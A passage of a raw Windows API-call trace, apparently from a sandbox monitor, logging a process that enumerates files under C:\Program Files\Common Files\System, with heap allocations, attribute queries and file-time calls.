[0065.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb71f0 [0065.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb71f0) returned 1 [0065.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb71f0 [0065.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb71f0) returned 1 [0065.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb71f0 [0065.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4160 [0065.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7278 [0065.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb71f0) returned 1 [0065.512] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0065.512] GetLastError () returned 0x12 [0065.512] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0065.512] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.512] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.512] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0065.512] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0065.512] GetLastError () returned 0x12 [0065.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7168) returned 1 [0065.512] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb70e0) returned 1 [0065.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.514] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0065.514] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0065.514] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0065.514] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0065.514] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0065.514] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0065.515] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0065.516] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0065.516] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0065.516] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0065.516] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0065.516] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0065.516] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0065.519] GetLastError () returned 0x12 [0065.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.520] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0065.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.522] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0065.523] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0065.526] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb9718 [0065.531] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb9718, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb9718, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb9718) returned 1 [0065.534] NtClose (Handle=0x194) returned 0x0 [0065.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0065.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.536] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0065.536] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.536] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0065.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4180 [0065.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb70e0 [0065.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.537] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0065.537] GetLastError () returned 0x12 [0065.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0065.537] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0065.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0065.537] GetLastError () returned 0x12 [0065.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.537] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0065.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.537] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0065.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0065.556] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb9718 [0065.556] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb9718, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb9718, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb9718) returned 1 [0065.556] NtClose (Handle=0x198) returned 0x0 [0065.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0065.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.556] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0065.570] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.570] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb41a0 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7168 [0065.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.571] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 